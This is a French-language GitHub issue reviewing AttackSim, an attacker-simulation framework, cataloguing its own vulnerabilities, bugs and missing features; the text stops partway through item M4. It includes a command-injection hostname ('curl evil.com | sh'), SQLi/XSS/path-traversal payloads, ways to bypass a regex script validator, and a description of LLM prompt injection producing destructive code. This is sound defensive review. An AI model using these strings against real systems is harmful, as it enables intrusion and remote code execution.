Skip to content

Security issues #1

Description

@junkoku38

AttackSim — Revue de projet : bugs, vulnérabilités, features manquantes et illogismes métier

Revue consolidée du projet AttackSim (framework de simulation d'attaquants, 107 modules, Python 3.9+).
Périmètre : sécurité du framework lui-même, bugs/fiabilité, cohérence métier, couverture fonctionnelle.
Tests : 716/718 passent (2 échecs identifiés ci-dessous).

Le projet est globalement solide : 107 modules réels (pas des stubs), 101 CVE dans le feed offline, propagation multi-transport fonctionnelle, 10 providers cloud codés, 5 tiers d'intensité implémentés, corrélation de kill-chains réelle. Les points ci-dessous sont des axes d'amélioration ciblés.


Table des matières


1. Vulnérabilités (sécurité du framework)

Vulnérabilités du framework lui-même en tant qu'outil (pas les vulnérabilités qu'il détecte).

CRITICAL

V1 — Exécution de scripts LLM-générés sans validation

  • Localisation : triage.py:617-676
  • CWE : CWE-94 (Code Injection) / CWE-20 (Improper Input Validation)
  • Sévérité : CRITICAL

Description : _run_script_operator exécute le script complété par le LLM (_llm_complete_poc) puis édité par l'opérateur via subprocess.Popen([sys.executable, "-S", tmp_path]) sans aucune validation du code (pas d'appel à _validate_script, pas de resource.setrlimit, pas de chroot). Le flag -S ne supprime que site-packages ; l'env restreint ne bloque ni os.system, ni socket, ni subprocess internes. Un LLM compromis/jailbreaké ou un prompt injecté peut produire un script destructeur (rmtree, reverse shell, exfiltration) exécuté avec les privilèges de l'opérateur.

Code concerné :

proc = subprocess.Popen(
    [sys.executable, "-S", tmp_path],   # aucun preexec, aucune validation
    stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
    text=True, env=restricted_env)

Recommandation : Appeler exploit_generator._validate_script(script) avant exécution ; appliquer les mêmes resource.setrlimit (NPROC=0, FSIZE=0, AS=256MB) que _run_script_sandboxed ; refuser l'exécution si le script échoue à la validation. Idéalement, exécuter dans un namespace/cgroup dédié.


V2 — smtp-antispam livre réellement des e-mails malgré son contrat de sécurité

  • Localisation : exploits/smtp_antispam.py:530-577 (bloc intrusive) vs exploits/smtp_antispam.py:34 (docstring) et docs/safety.md
  • CWE : CWE-601 (Open Redirect) / DoS
  • Sévérité : CRITICAL

Description : La docstring du module et docs/safety.md affirment : « No email is ever delivered. All tests stop at RCPT TO or issue RSET/QUIT before DATA. » Le bloc intrusive (lignes 530-577) fait l'inverse : après détection open-relay/spoof au niveau active, il ouvre une 2e connexion, envoie MAIL FROM:<ceo@target>, RCPT TO:<sectest-probe@sectest.local>, DATA, puis un message complet (Subject: sectest-antispam-probe\r\nFrom: ceo@target\r\n\r\nAuthorized security assessment.\r\n.\r\n) et ne lève un finding CRITICAL que si le serveur répond 2xx — c'est-à-dire si l'e-mail a effectivement été accepté pour livraison. Sur un vrai MTA, ce message est délivré/queueé, pas seulement accepté à l'enveloppe.

Impact :

  1. Le module peut envoyer un e-mail phishing-semblable (From: ceo@<cible>) à un destinataire externe sur une cible de production — exactement le geste que le produit prétend interdire.
  2. Si l'opérateur se trompe de cible SMTP, il génère du spam réel avec son en-tête.
  3. Contradiction frontale avec la promesse centrale « read-only by default ». Ce bloc tourne à --intensity intrusive (après --yes), mais la hiérarchie d'intensité ne code pas réellement la dangerousosité ici.

Recommandation :

  • Soit supprimer la livraison DATA et rester à RCPT TO+RSET (cohérent avec la docstring) ;
  • Soit reclasser ce bloc en tier proof (opt-in --prove-access), renommer en --prove-email-relay, exiger un destinataire opérateur-controlled (canary mailbox), et corriger la docstring + docs/safety.md.

HIGH

V3 — generate_llm_poc : code LLM retourné sans validation syntaxique ni contrôle d'imports

  • Localisation : exploits/exploit_generator.py:930-1009
  • CWE : CWE-94 (Code Injection) / CWE-184 (Incomplete List of Disallowed Inputs)
  • Sévérité : HIGH

Description : generate_llm_poc retourne le script brut après seulement retrait du fencing markdown. Aucune vérification de syntaxe (compile()), aucun contrôle d'imports réels. La validation regex _validate_script n'est appliquée qu'en aval dans execute_plans (ligne 1240) — or _llm_complete_poc (triage.py:801) appelle generate_llm_poc puis route le résultat vers _run_script_operator qui ne valide pas (cf. V1). Le chemin interactif contourne donc toute garde.

Code concerné :

script = re.sub(r"^```python\s*\n?", "", script.strip())
return script.strip() if script.strip() else None   # aucun compile(), aucun AST check

_validate_script est une regex sur le texte source, trivialement contournable : getattr(os, "system")(...), __builtins__["eval"], import importlib; importlib.import_module("subprocess"), encodage en \x-escapes, chaînes par concaténation. Les patterns ne couvrent ni ctypes, ni socket (exfiltration), ni urllib (SSRF du scanner), ni pickle.loads.

Recommandation : compile(script, "<llm>", "exec") + ast.walk pour interdire Import hors stdlib ; interdire Call vers os.system/subprocess*/eval/exec/compile/__import__ y compris via getattr/__builtins__. Valider systématiquement avant tout retour/utilisation.


V4 — Injection de commande shell dans les relais (kubelet/k8s-api/ssh)

  • Localisation : sandbox/relay.py:465, 477, 566, 578, 828
  • CWE : CWE-78 (OS Command Injection)
  • Sévérité : HIGH

Description : sweep() utilise _safe_targets (correct), mais resolve(hostname) et http_probe(url) interpolent directement hostname/url dans une commande shell passée à _exec_cmd sans sanitization. Un hostname malveillant (ex: foo; curl evil.com | sh) ou une URL contenant des méta-caractères shell (;, `, $()) permet l'exécution de commandes arbitraires sur le foothold (kubelet/k8s-api/ssh). http_probe passe même l'URL entre simples quotes ('{url}') — insuffisant si l'URL contient '.

Code concerné :

result = self._exec_cmd(f"getent hosts {hostname} 2>/dev/null | head -1 | awk '{{print $1}}'")
...
result = self._exec_cmd(f"wget -q -S --spider -T {to} '{url}' 2>&1 | head -5")

Recommandation : Appliquer _HOST_RE à hostname dans resolve ; valider url via urlparse + rejeter tout caractère hors [A-Za-z0-9._:/?&=%-] ; utiliser shlex.quote pour toute interpolation shell.


V5 — Fuite de secrets dans les rapports (evidence/detail/location non masqués)

  • Localisation : report/reporter.py (tout le module — lignes 67, 105, 166, 219, 295, 504)
  • CWE : CWE-532 (Insertion of Sensitive Information into Log File) / CWE-312
  • Sévérité : HIGH

Description : Aucune fonction mask/redact n'existe dans report/. Les champs evidence, detail, location sont écrits en clair dans tous les formats : console, JSON (via to_dict), SARIF, HTML, Markdown, chaînes d'attaque. Un module qui capture un mot de passe opérateur, un token JWT, ou un secret application (ex: secret_scanner qui récolte des creds Kafka/Okta) le fait fuiter intégralement dans l'artefact de rapport, qui peut être archivé, commité ou partagé.

Code concerné :

print(f"            {_c('DIM', 'evidence: ' + f.evidence, color)}")  # aucune redaction
detail += f"\nEvidence: {f.evidence}"   # SARIF — idem

Recommandation : Ajouter une couche de redaction appliquée à evidence/detail/location avant sérialisation : regex pour tokens AWS (AKIA[0-9A-Z]{16}), JWT (eyJ...), clés privées PEM, mots de passe dans URLs (user:pass@), etc. Marquer les findings de secret_scanner comme redacted=true.


V6 — export_for_propagation sérialise tous les SECTEST_* y compris les secrets

  • Localisation : config.py:976-983
  • CWE : CWE-312 (Cleartext Storage of Sensitive Information) / CWE-922
  • Sévérité : HIGH

Description : La fonction exporte toutes les variables d'environnement préfixées SECTEST_ sans filtrage. Si l'opérateur (ou un CI) définit SECTEST_NVD_API_KEY, SECTEST_SLACK_WEBHOOK, SECTEST_GITHUB_TOKEN, etc., ces secrets sont sérialisés en clair dans le dict propagé vers les footholds distants (via import_from_propagation), puis potentiellement journalisés ou déposés sur des machines compromises lors d'un pivot.

Code concerné :

for k, v in _os.environ.items():
    if k.startswith("SECTEST_"):
        export[k[8:]] = v   # aucune allow-list / aucun masquage

Recommandation : Maintenir une allow-list explicite des clés propagables (ex: NVD_MIRROR, TIMEOUT_*) ; rejeter toute clé contenant KEY/TOKEN/SECRET/PASSWORD/WEBHOOK ; hasher ou omettre les valeurs sensibles.


MEDIUM

V7 — --keep-credentials désactive le guard sans traçabilité dans le rapport

  • Localisation : main.py:281-294
  • CWE : CWE-778 (Insufficient Logging) / CWE-1188
  • Sévérité : MEDIUM

Description : Quand --keep-credentials est passé, le guard est désactivé et seul un message stderr est imprimé. Aucune trace n'est inscrite dans le rapport JSON/SARIF/HTML/Markdown. Un run effectué avec credentials ambiants (AWS_PROFILE, KUBECONFIG) produit des résultats non reproductibles et potentiellement basés sur des creds, sans que l'artefact final l'atteste. En audit, cela rend impossible la distinction entre un run "credential-free" et un run "credentialed".

Recommandation : Injecter un champ credential_guard: "disabled" dans le payload JSON et une bannière dans le rapport HTML/Markdown ; faire échouer le gate() ou émettre un avertissement explicite.


V8 — credential_guard.self_test() incomplet

  • Localisation : sandbox/credential_guard.py:105-112
  • CWE : CWE-696 (Incorrect Behavior Order)
  • Sévérité : MEDIUM

Description : self_test() ne contrôle que les env vars résiduelles. Il ne vérifie pas que AWS_CONFIG_FILE/KUBECONFIG/DOCKER_CONFIG pointent bien vers /dev/null (un module aurait pu les réécrire entre scrub() et self_test()), ni que AWS_EC2_METADATA_DISABLED=true tient toujours. De plus, la liste _CRED_PREFIXES omet GOOGLE_APPLICATION_CREDENTIALS, AZURE_*, ARM_*, PGPASSWORD, MYSQL_PWD, LDAPRC.

Recommandation : Vérifier explicitement que os.environ["AWS_CONFIG_FILE"] == os.devnull (et idem pour les autres _REDIRECT_VARS) ; ajouter les préfixes manquants.


V9 — scope_guard.authorize() autorise tout hors-scope à intrusive+ sans allow-list

  • Localisation : sandbox/scope_guard.py:318-343
  • CWE : CWE-285 (Improper Authorization) / CWE-639
  • Sévérité : MEDIUM

Description : Au tier intrusive (et au-dessus), si la scope allow-list est vide, authorize() retourne (True, "intrusive+ confirmed; scope = target-derived"). Le "scope" est alors purement conceptuel (la cible déclarée), mais aucun contrôle runtime ne restreint les hôtes effectivement contactés par un module. Un module intrusive peut scanner ou deviner des identifiants sur n'importe quel hôte/IP atteignable, tant que l'opérateur a confirmé globalement via --yes. La confirmation initiale ne vaut que pour la cible nominale ; il n'y a pas de garde-fou par appel réseau.

Code concerné :

if self.empty:
    return True, "intrusive+ confirmed; scope = target-derived (no allow-list restriction)"

Recommandation : Exiger au minimum que l'hôte cible du run soit ajouté automatiquement à la scope (scope auto-dérivée non vide) ; pour tout hôte différent de la cible, exiger une entrée explicite dans l'allow-list ou un prompt interactif par nouvelle destination.


2. Bugs & fiabilité

Tests : 716 passent, 2 échouent (confirmé par exécution).

HIGH

BUG-1 — _parse_host_port casse sur les URLs

  • Localisation : triage.py:524-535
  • Sévérité : HIGH

Description : Pour location="http://victim.com:8080/x", rsplit(":",1)["http://victim.com", "8080/x"]int("8080/x") → ValueError → fallback (location, 80) → le re-verify attaque http://victim.com:8080/x:80 (n'importe quoi). Cas très fréquent : les findings HTTP/Elasticsearch/etc. ont une URL en location.

Code concerné :

def _parse_host_port(location: str) -> Tuple[str, int]:
    m = re.match(r"^\[([^\]]+)\]:(\d+)$", location)
    if m: return ...
    if ":" in location:
        parts = location.rsplit(":", 1)
        try: return parts[0], int(parts[1])
        except (ValueError, IndexError): pass
    return location, 80

Correction suggérée :

if "://" in location:
    from urllib.parse import urlparse
    u = urlparse(location)
    return u.hostname or location, u.port or (443 if u.scheme=="https" else 80)

BUG-2 — DNS_TIMEOUT défini deux fois (code mort trompeur)

  • Localisation : config.py:379 et config.py:509
  • Sévérité : HIGH

Description :

# ligne 379
DNS_TIMEOUT = 4
# ligne 509 (dans la section SMTP email posture)
DNS_TIMEOUT = _env("DNS_TIMEOUT", 5)

La seconde définition écrase la première. La première est une constante simple (valeur 4), la seconde est _env()-aware (override env var, valeur 5). Conséquence :

  • SECTEST_DNS_TIMEOUT=12 fonctionne (la 2e définition lit l'env).
  • Mais la valeur par défaut effective est 5, pas 4 comme le suggère la ligne 379.
  • La ligne 379 est du code mort qui induit en erreur un mainteneur.

Correction suggérée : Supprimer la ligne 379 (ou fusionner : DNS_TIMEOUT = _env("DNS_TIMEOUT", 4) une seule fois, et réutiliser).


MEDIUM

BUG-3 — _check_pkexec_pwnkit ignore le mock _is_suid (test en échec)

  • Localisation : exploits/privesc_exploit.py:458-461 + tests/test_onsite_modules.py:1069-1078
  • Sévérité : MEDIUM (test en échec sur hôte sans pkexec SUID réel)

Description : Le test monkeypatch privesc_exploit._is_suid pour forcer True, mais _check_pkexec_pwnkit n'appelle pas _is_suid — elle fait directement os.stat(pkexec).st_mode & _stat.S_ISUID. Sur l'hôte de test, pkexec existe mais n'est pas SUID (ou n'existe pas), donc la fonction retourne [] et le test échoue.

Code concerné :

# privesc_exploit.py:458-461 — n'utilise PAS _is_suid
try:
    import stat as _stat
    if not (os.stat(pkexec).st_mode & _stat.S_ISUID):
        return findings

Correction suggérée : Remplacer par if not _is_suid(pkexec): return findings pour réutiliser le helper mockable (cohérence avec les autres checks du module).


BUG-4 — test_unauth_probe_skip_when_unreachable échoue si un Redis local tourne (test en échec)

  • Localisation : tests/test_infra_modules.py:88-93
  • Sévérité : MEDIUM (fiabilité du test suite, faux échec)

Description : Le test crée une cible host=127.0.0.1, port=1 avec t.ports=[6379] et suppose que rien ne répondra. Mais unauth_service_probe.run itère sur target.ports ([6379]), pas sur target.port (1). Or la machine de test a un Redis réel qui écoute sur 127.0.0.1:6379. Le module trouve donc un Redis non authentifié et renvoie exploited=True.

Correction suggérée : Utiliser un port non-standard guaranteed-free (ex. t.ports=[16379] avec un handler absent) ou mocker netutil.tcp_send_recv/_probe.


BUG-5 — _post_exploit_hook avale toute exception silencieusement

  • Localisation : main.py:838-841
  • Sévérité : MEDIUM

Description : except Exception: pass — toute erreur de record_foothold (bug, exception réseau, KeyError) est masquée. Aucun log, aucun retour. Si le hook plante systématiquement, aucun pivot n'est jamais enregistré et l'opérateur ne le sait pas.

if getattr(result, "exploited", False):
    try:
        _post_exploit_hook(target, result)
    except Exception:
        pass

Correction suggérée : except Exception as exc: print(f"[!] post-exploit hook failed for {getattr(result,'name','?')}: {exc!r}", file=sys.stderr).


BUG-6 — resume.mark() thread-safe mais perte de résultat sur timeout + thread zombie

  • Localisation : main.py:866-877
  • Sévérité : MEDIUM

Description : Dans le path ThreadPoolExecutor, sur TimeoutError, results[i] = None et le module continue de tourner en arrière-plan dans le thread pool. Le with block attend la fin de tous les futures à la sortie (shutdown implicite), donc le run peut bloquer jusqu'à la fin d'un module "zombi" bien au-delà du timeout de 600s. Le ThreadPoolExecutor ne peut pas tuer un thread Python.

Correction suggérée : Annuler explicitement les futures restants (for f in futmap: f.cancel()) et/ou documenter que les modules doivent honorer les timeouts.


BUG-7 — _run_script_operator : proc.kill() ne tue pas les enfants subprocess

  • Localisation : triage.py:655-658
  • Sévérité : MEDIUM

Description : subprocess.Popen([sys.executable, "-S", tmp_path], ...) sans start_new_session=True. Sur timeout, proc.kill() tue le process Python mais pas ses éventuels children (subprocess du PoC). Des zombies / ProcessGroup non nettoyés.

Correction suggérée : Popen(..., start_new_session=True) + os.killpg(os.getpgid(proc.pid), signal.SIGKILL) sur timeout.


BUG-8 — resolve() : --email + --username/--password ignore l'email

  • Localisation : targets/model.py:435-476
  • Sévérité : MEDIUM

Description : L'ordre de résolution est : local > cidr > repo > has_basic (username/password) > url > has_token > email > host_port. Si l'opérateur passe --email foo@x.com --username admin --password x, l'email est ignoré car has_basic est vrai → retourne un target CREDS sans SMTP. La doc prétend que --email est résolu en target SMTP.

Correction suggérée : Déplacer le check email avant has_basic, ou combiner (CREDS contre l'URL SMTP).


BUG-9 — _make_email_target : MX lookup buggé (ne résout jamais MX)

  • Localisation : targets/model.py:392-397
  • Sévérité : MEDIUM

Description :

mx_records = socket.getaddrinfo(domain, 25, proto=socket.IPPROTO_TCP)
if mx_records:
    smtp_host = domain  # use the domain name (MX resolution happens at connect)

socket.getaddrinfo ne fait pas de MX lookup (c'est une résolution A/AAAA). Le commentaire "MX resolution happens at connect" est faux : à connect, socket.create_connection((domain, 25)) résout le A record, pas le MX. Donc pour un domaine dont le MX ≠ A record (très commun), le probe SMTP atteint le mauvais host.

Scénario : --email victim@gmail.com → probe gmail.com:25 (qui refuse) au lieu de gmail-smtp-in.l.google.com:25.

Correction suggérée : Utiliser un vrai MX lookup via dns.resolver (dépendance) ou un query DNS manuel, ou documenter que seul le A record est utilisé.


BUG-10 — _cve_id_from_finding : re.match au lieu de re.search

  • Localisation : triage.py:385
  • Sévérité : MEDIUM

Description : re.match(r"(CVE-\d{4}-\d+)", str(ref))match ancre au début. Si une ref est "https://nvd.nist.gov/vuln/detail/CVE-2021-44228", match échoue (commence par https). Le CVE n'est pas détecté alors qu'il est présent.

Correction suggérée : re.search au lieu de re.match.


BUG-11 — --scope-file illisible → scope vide silencieusement → scan sans restriction

  • Localisation : sandbox/scope_guard.py:357-368
  • Sévérité : MEDIUM

Description : Si le --scope-file n'existe pas ou est illisible, load_scope_file retourne [] silencieusement. from_specs([], intensity=intrusive) → guard empty → authorize retourne True pour tout. Un fichier de scope mal saisi désactive silencieusement le scope narrowing.

Scénario : --scope-file /typo/path → scope vide → scan intrusive sur tout le target-derived scope sans warning.

Correction suggérée : Logger l'erreur et/ou lever si le fichier est introuvable quand --scope-file est explicite.


BUG-12 — --only=typo,http-probe ignore typo sans warning

  • Localisation : exploits/registry.py:159-161
  • Sévérité : MEDIUM

Description : by_names(wanted, pool) retourne [m for m in pool if name_of(m) in names]. Si --only=foo,bar,baz mais foo n'existe pas, selected contient juste bar,baz sans warning. L'opérateur croit que foo a tourné. Seul le cas "aucun match" est géré (main.py:580).

Correction suggérée : Comparer wanted vs {name_of(m) for m in selected} et logger les manquants.


BUG-13 — _parse_host_port sur IPv6 bare (sans []) → host tronqué

  • Localisation : triage.py:524-535
  • Sévérité : MEDIUM

Description : location = "2001:db8::1:6379"rsplit(":",1)["2001:db8::1", "6379"] → host = "2001:db8::1" (tronqué). IPv6 sans [] est mal interprété.

Correction suggérée : Même fix que BUG-1 + check ipaddress.ip_address.


BUG-14 — scope_guard._host_matches : DNS resolution dans le scope check (side-effect réseau)

  • Localisation : sandbox/scope_guard.py:271-283
  • Sévérité : MEDIUM

Description : Si un hostname ne matche pas les hosts/domains mais qu'il y a des _networks (CIDR), le code fait socket.gethostbyname(host)requête DNS réseau synchronisée dans le scope check. Cela :

  • Ajoute de la latence (jusqu'à DNS_TIMEOUT) sur chaque authorize.
  • Fait du scope guard un composant qui émet du trafic (contradiction avec "guard = safety").
  • Peut échouer offline (CI) → host legit rejeté.

Correction suggérée : Rendre la résolution DNS optionnelle (flag) ou cacher avec TTL.


BUG-15 — _expand_subnet_spec : le sweep de subnet ignore le budget global

  • Localisation : main.py:1066
  • Sévérité : MEDIUM

Description : Le sweep de subnet fait N TCP connects par host mais n'appelle pas target.budget.acquire() pour chaque probe. Le budget global GLOBAL_MAX_REQUESTS est contourné pour la découverte de subnet.

Correction suggérée : Passer le budget au relay ou incrémenter un compteur partagé.


BUG-16 — _run : échec d'écriture de l'artefact JSON ne change pas l'exit code

  • Localisation : main.py:1873-1886
  • Sévérité : MEDIUM

Description : L'écriture des artefacts (JSON/Markdown/SARIF/HTML) est dans un try/except Exception qui logge [!] failed to write artifact mais ne change pas exit_code. Si l'artefact JSON (le principal) échoue, le run retourne 0 (succès) alors que le rapport n'existe pas. Pour un outil CI, c'est un faux succès.

Correction suggérée : Si args.json (default non-None) échoue, forcer exit_code = max(exit_code, 2).


BUG-17 — config.runtime_get ignore la coercition de type des env vars

  • Localisation : config.py:966-973
  • Sévérité : MEDIUM

Description : runtime_get("HTTP_TIMEOUT") retourne la string brute de SECTEST_HTTP_TIMEOUT (ex. "12") au lieu d'un int, contrairement à _env() qui coerce. Un module qui fait config.runtime_get("HTTP_TIMEOUT", 8) et l'utilise comme int (time.sleep(x)) lève TypeError.

Correction suggérée : Faire runtime_get appeler _env pour coercition, ou typer l'overlay à l'écriture.


BUG-18 — config.import_from_propagation écrase sans validation

  • Localisation : config.py:986-989
  • Sévérité : MEDIUM

Description : import_from_propagation(data) fait _RUNTIME_OVERLAY[k] = v pour tout k,v sans validation. Un parent malveillant/compromis peut injecter {"GLOBAL_MAX_REQUESTS": 999999999} → le scanner propagé ignore ses budgets. Contradiction avec le modèle "propagated instance inherits governance".

Correction suggérée : Allowlist des clés overridables, ou refuser les clés de budget/scope.


LOW

# Localisation Description
BUG-19 main.py:866-877 _run_modules timeout → results[i]=None filtré sans trace qu'un module a timeout.
BUG-20 sandbox/oob_listener.py:82-86 OOBListener.stop() ne join pas le thread ni ne reset _thread=None → double stop = crash.
BUG-21 main.py:353,554,600,904,1037,1111,1307 __import__("config") au lieu d'import propre (masque erreurs statiques, lent).
BUG-22 triage.py:2292 vs report/reporter.py:357 _fingerprint triage ≠ _fingerprint_finding reporter → décisions non corrélables avec baseline.
BUG-23 targets/model.py:643-649 resolve_from_dict : int(port) peut lever ValueError non catché si port non-numérique dans le JSON.
BUG-24 main.py:624-632 _load_targets_file (legacy) forward args.jwt/api_key à chaque host:port — probablement pas voulu.
BUG-25 sandbox/oob_listener.py:123 parse_listen_spec : int(port or 0) lève si port non-numérique (--oob-listen host:abc).
BUG-26 report/reporter.py:197 _finding_id SARIF : cwe.replace("CWE-","") sur cwe vide → "0" → helpUri invalide.
BUG-27 exploits/registry.py:143 Doublons de noms non détectés au chargement du registry → resume-state les confond.
BUG-28 main.py:744 _confirm_scan path guard.requires_confirmation appelle input() sans guard EOFError (contrairement à _confirm_propagate).
BUG-29 main.py:1577 _infer_services_from_findings : svc["inferred"] = "true" (string) vs bool attendu.
BUG-30 main.py:998 _push_url_hostport_companion : flag _url_companion_pushed posé avant le check de scope.

3. Illogismes métier & écarts docs-code

I1 — --propagate déploie le scanner sans appliquer le scope aux sous-réseaux découverts

  • Sévérité : HIGH (safety-critical)
  • Localisation : sandbox/scope_guard.py:318-343, main.py:1272-1349 (_build_propagation_args)

Description : Le scope_guard v2 est "target-derived" : avec un allow-list vide à intrusive+, tout est autorisé car "confirmation obtenue via --yes". --propagate-script déploie le scanner dans un foothold et lui fait scanner le /24 du foothold (--host-subnet <derived /24>). L'instance propagée hérite du scope_guard du parent (même allow-list, probablement vide) — donc le scanner déployé dans un container d'un réseau interne 10.0.5.0/24 va scanner toute la /24 sans aucun scope check, parce que authorize() à allow-list vide retourne True. De plus, le --scope transmis au propagé est scope_guard.specs (ligne 1291) — mais ScopeGuard n'expose pas de .specs (c'est .hosts/.cidrs/.domains), donc l'héritage de scope échoue silencieusement.

Impact : Un opérateur qui cible 10.0.0.5 avec scope 10.0.0.0/24, obtient un foothold, propage → le scan interne du foothold peut atteindre 10.0.99.0/24 (production voisine) sans autorisation. La promesse "every peer is scope-checked" est vraie pour le scanner parent, fausse pour l'instance propagée.

Recommandation :

  • Exposer ScopeGuard.specs retournant la liste des tokens d'origine, ou sérialiser le guard dans le payload propagé.
  • Dans _build_propagation_args, toujours injecter --scope <foothold_subnet> (le /24 dérivé) comme borne minimale.
  • Ajouter un test vérifiant qu'une instance propagée refuse de scanner hors du /24 du foothold.

I2 — --keep-credentials contredit la promesse "No credentials"

  • Sévérité : HIGH
  • Localisation : main.py:217-220, main.py:281-294

Description : Le README et docs/safety.md posent « No credentials » comme propriété fondamentale. Pourtant --keep-credentials désactive purement et simplement credential_guard.scrub() sans aucune contre-mesure : aucun audit, aucune journalisation dans le rapport, aucun self-test. L'opérateur peut lancer --keep-credentials --url ... et le scanner tourne en utilisant silencieusement ~/.aws/credentials, KUBECONFIG, ARGOCD_AUTH_TOKEN. Le message [*] credential guard DISABLED est imprimé sur stderr mais n'apparaît pas dans le rapport JSON/Markdown/HTML/SARIF.

Le guard devient opt-out au lieu d'opt-in — inversion du modèle de sécurité. Pour un usage red-team sur un foothold compromis, --keep-credentials est légitime, mais c'est exactement ce que --use-discovered-cloud-creds couvre déjà proprement (le guard reste actif, l'inventaire est in-memory) — --keep-credentials est donc un doublon dangereux.

Recommandation :

  • Faire apparaître l'état du guard (activé/désactivé, nombre de vars neutralisées) dans le rapport JSON et dans le front-matter Markdown/HTML/SARIF.
  • Renommer en --dangerously-keep-credentials (naming cohérent avec --allow-remote-llm) et exiger --yes pour le valider.
  • Idéalement supprimer --keep-credentials et étendre --use-discovered-cloud-creds pour couvrir le cas légitime.

I3 — Proof-of-access crée des artefacts persistants sur production en cas d'erreur opérateur

  • Sévérité : MEDIUM
  • Localisation : exploits/access_prover.py:19-22, 286-302, 329-346, 357-375

Description : La persistance est intentionnelle et documentée. Le problème métier : si l'opérateur se trompe de cible (typo d'IP, mauvais --host-port, staging ≠ prod), le scanner laisse sur la production : une clé Redis permanente, un index ES sectest-canary, une clé Memcached non-expirante, un fichier /tmp/sectest_proof_*.txt sur le host via bind-mount Docker, un ConfigMap K8s sectest-proof-*, voire un container Docker AutoRemove=False avec shell idle (PROVE_SHELL_TTL=3600). Aucun mécanisme de cleanup automatique n'existe (par design), et il n'y a pas de ledger de cleanup dans le rapport (le proof_ledger enregistre quoi a été créé, mais ne génère pas les commandes de suppression inverses pour chaque artefact — seul le proof cloud AWS/GCP/Azure inclut une commande de delete).

Recommandation :

  • Ajouter au rapport JSON un bloc cleanup_commands par artefact (ex. redis-cli DEL <key>, curl -XDELETE http://es:9200/sectest-canary, docker rm -f <cid>) — pas seulement pour le cloud.
  • Proposer --prove-access-ttl qui pose un TTL (ex. 1h) sur Redis/Memcached/ES/marker, avec opt-out --no-ttl pour le cas blue-team-verify.
  • Refuser --prove-access si la cible ne match pas un pattern opérateur-controlled, ou au minimum logger un warning bruyant quand le target n'a pas de --scope explicite.

I4 — SMTP_BOMB_TEST_COUNT=10 envoie 10 enveloppes en tier active (sans --yes)

  • Sévérité : MEDIUM
  • Localisation : exploits/smtp_antispam.py:66, 155-211 (_test_rate_limit)

Description : 10 MAIL FROM+RCPT TO+RSET sur un MTA de prod : (1) déclenche potentiellement des alertes SIEM, (2) peut mettre l'IP du scanner sur une greylist pendant des heures. C'est active (pas intrusive) donc ça tourne sans --yes par défaut. L'opérateur croit faire un scan "actif mais bénin" et déclenche un incident mail-op.

Recommandation : Reclasser _test_rate_limit en intrusive (multi-request guessing = définition même du tier). Garder _test_spoof_filter/_test_backscatter en active (1 enveloppe = OK).


I5 — Modules on-site/physical dépendent de binaires système non documentés

  • Sévérité : MEDIUM
  • Localisation : exploits/wifi_probe.py, bluetooth_probe.py, android_probe.py, ios_probe.py, router_probe.py, device_posture.py

Description : Le README annonce ces modules. Ils existent et ne sont pas des stubs, mais dépendent de binaires système rarement présents : nmcli/iwlist/iw/iwconfig (WiFi), bluetoothctl/hcitool/l2ping (BT), adb (Android), ideviceinfo/idevice_id/pymobiledevice3 (iOS). Sur un serveur Linux de CI/pentest standard, tous ces modules retournent tool_available=False. Le README ne mentionne pas cette dépendance runtime — un utilisateur qui lance --local sur un container sans nmcli obtient un INFO "tool not found" et croit que le module est cassé.

Recommandation : Ajouter à docs/local-introspection.md une matrice « module → binaire requis → cas d'usage ». Documenter que sur un container CI ces modules sont no-ops.


I6 — Exit code 1 par défaut sur "any module wins" trop sensible pour CI

  • Sévérité : MEDIUM
  • Localisation : main.py:1859, docs/output-and-ci.md

Description : Par défaut (sans --fail-on), n'importe quel module exploited=True (y compris un INFO/MEDIUM de path-probe qui a trouvé un .git) fait sortir 1. En CI, un scan sur un repo où un fichier .gitignore existe fait échouer le pipeline. --fail-on atténue, mais le défaut est trop sensible pour un usage CI réel.

Recommandation : Changer le défaut de --fail-on à MEDIUM (ou HIGH) pour les cibles url/hostport ; garder "any" pour repo (sensé). Documenter ce défaut dans docs/output-and-ci.md.


4. Features manquantes

M1 — Pas de rate-limiting par hôte cible (uniquement global)

  • Sévérité : HIGH
  • Localisation : sandbox/budget.pyRequestBudget a rate_limit global + max_requests + wall_budget, mais aucune clé par host.

Description : Sur un --cidr 10.0.0.0/24 (256 hôtes), le budget global (50 req/s par défaut) est réparti entre tous les modules concurrents sur tous les hôtes → un seul host populaire (ex. 10.0.0.5 avec 20 ports ouverts + HTTP) peut consommer tout le budget pendant que les 255 autres sont à peine touchés. Pour un pentest réel on veut 50 req/s par hôte avec un plafond global de 200. Les outils pro (nmap --rate, nuclei -rl, ffuf -rate) ont un rate par hôte.

Recommandation : Ajouter RequestBudget(rate_limit=..., per_host=True) ; dans _fanout_hostport/_run_modules créer un budget par host passé au target. Garder le global comme plafond.


M2 — Pas de détection de WAF/IPS pendant le scan actif

  • Sévérité : HIGH
  • Localisation : exploits/waf_firewall_proof.py (preuve d'écriture, pas détection) ; aucun module ne détecte Cloudflare/Akamai/Imperva/F5 ASM/AWS WAF en mode défense pendant un scan.

Description : default-creds/content-discovery/fuzz-probe/sqli-confirm envoient leurs requêtes, reçoivent des 403/429 en masse, et le scanner rapporte "MITIGATED" ou fait du bruit sans réaliser que c'est un WAF qui bloque (pas l'app). L'opérateur lit un rapport trompeur ("tout est mitigated" alors que c'est le WAF qui parle).

Recommandation : Ajouter un module waf-detect (detective) : envoie 3 payloads malicieux canoniques (' OR 1=1--, <script>alert(1)</script>, ../../../etc/passwd) sur un paramètre inoffensif, compare les headers de réponse (Server, CF-Ray, X-Akamai-, X-Sucuri, Set-Cookie incap_sesi, page 403 custom) à un baseline de GET normal. Si WAF détecté : tagguer les findings des modules actifs avec waf-blocked et baisser leur confiance. Ajouter un champ waf_presence au rapport.


M3 — Pas de retry/backoff sur connexions échouées

  • Sévérité : MEDIUM
  • Localisation : exploits/netutil.py — aucune logique de retry/backoff.

Description : Une connexion TCP en timeout ou un 502 transient → le module retourne error=... et le finding est perdu. Sur un scan de 256 hôtes, 5-10% des checks échouent sur du transient réseau sans retry. Pas de cohérence avec le Retry-After HTTP non plus.

Recommandation : Wrapper http_get/http_request/tcp_send_recv avec retry exponentiel (3 attempts, 0.5s/1s/2s) sur ConnectionResetError, timeout, 502/503/504. Honorer Retry-After si présent. Config NETUTIL_MAX_RETRIES=3.


M4 — Pas de support IPv6 réel dans les scans de netrange

  • Sévérité : MEDIUM
  • Localisation : targets/model.py:277-319 (parse_hosts), sandbox/scope_guard.py (_host_of)

